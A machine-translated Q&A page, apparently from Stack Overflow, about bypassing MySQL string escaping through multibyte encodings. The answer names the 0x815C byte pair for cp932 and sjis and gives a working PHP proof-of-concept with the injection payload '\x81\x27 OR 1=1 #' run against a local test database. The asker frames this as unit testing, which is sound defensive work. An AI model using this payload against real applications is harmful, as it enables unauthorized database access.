Подтвердить что ты не робот

Как создать атаку SQL-инъекций с помощью Shift-JIS и CP932?

Я пишу некоторые модульные тесты, чтобы убедиться, что мой код не уязвим для SQL-инъекции под различными кодировками.

В соответствии с этим ответом вы можете создать уязвимость, введя \xbf\x27, используя один из следующих кодировок: big5, cp932, gb2312, gbk и sjis

Это связано с тем, что если ваш escaper настроен неправильно, он увидит 0x27 и попытается избежать его, чтобы он стал \xbf\x5c\x27. Тем не менее, \xbf\x5c на самом деле является одним символом в этих кодировках, поэтому цитата (0x27) оставлена ​​без привязки.

Однако, как я обнаружил в ходе тестирования, это не совсем так. Он работает для big5, gb2312 и gbk, но не 0xbf27 или 0xbf5c являются допустимыми символами в sjis и cp932.

Оба

mb_strpos("abc\xbf\x27def","'",0,'sjis')

и

mb_strpos("abc\xbf\x27def","'",0,'cp932')

Возврат 4. т.е. PHP не видит \xbf\x27 как один символ. Это возвращает false для big5, gb2312 и gbk.

Кроме того, это:

mb_strlen("\xbf\x5c",'sjis')

Возвращает 2 (он возвращает 1 для gbk).

Итак, возникает вопрос: существует ли еще одна последовательность символов, которая делает sjis и cp932 уязвимыми для SQL-инъекции или они вообще не уязвимы? или PHP лежащий, я полностью ошибаюсь, и MySQL будет интерпретировать это совершенно по-другому?

4b9b3361

Ответ 1

Дьявол в деталях... начнем с того, как ответит в вопросе описывает список уязвимых наборов символов:

Для того чтобы эта атака работала, нам нужна кодировка, которую сервер ожидает от соединения как для кодирования ', так и в ASCII, т.е. 0x27, и иметь некоторого символа, окончательный байт которого является ASCII \ т.е. 0x5c. Как оказалось, в MySQL 5.6 по умолчанию поддерживается 5 таких кодировок: big5, cp932, gb2312, gbk и sjis. Мы выберем gbk здесь.

Это дает нам некоторый контекст - 0xbf5c используется как пример для gbk, а не как универсальный символ для всех 5 наборов символов.
Так получилось, что одна и та же последовательность байтов также является допустимым символом в big5 и gb2312.

В этот момент ваш вопрос становится таким же простым, как это:

Какая последовательность байтов является допустимым символом в cp932 и sjis и заканчивается на 0x5c?

Справедливости ради, большинство поисковых запросов Google, которые я пробовал для этих наборов символов, не дают никаких полезных результатов. Но я нашел этот файл CP932.TXT, в котором, если вы ищете '5c ' (с пробелом там), вы будете прыгать к этой строке:

0x815C 0x2015 #HORIZONTAL BAR

И у нас есть победитель!:)

Некоторый документ Oracle подтверждает, что 0x815c является одним и тем же символом для cp932 и sjis, и PHP тоже его распознает:

php > var_dump(mb_strlen("\x81\x5c", "cp932"), mb_strlen("\x81\x5c", "sjis"));
int(1)
int(1)

Здесь PoC script для атаки:

<?php
$username = 'username';
$password = 'password';

$mysqli = new mysqli('localhost', $username, $password);
foreach (array('cp932', 'sjis') as $charset)
{
        $mysqli->query("SET NAMES {$charset}");
        $mysqli->query("CREATE DATABASE {$charset}_db CHARACTER SET {$charset}");
        $mysqli->query("USE {$charset}_db");
        $mysqli->query("CREATE TABLE foo (bar VARCHAR(16) NOT NULL)");
        $mysqli->query("INSERT INTO foo (bar) VALUES ('baz'), ('qux')");

        $input = "\x81\x27 OR 1=1 #";
        $input = $mysqli->real_escape_string($input);
        $query = "SELECT * FROM foo WHERE bar = '{$input}' LIMIT 1";
        $result = $mysqli->query($query);
        if ($result->num_rows > 1)
        {
                echo "{$charset} exploit successful!\n";
        }

        $mysqli->query("DROP DATABASE {$charset}_db");
}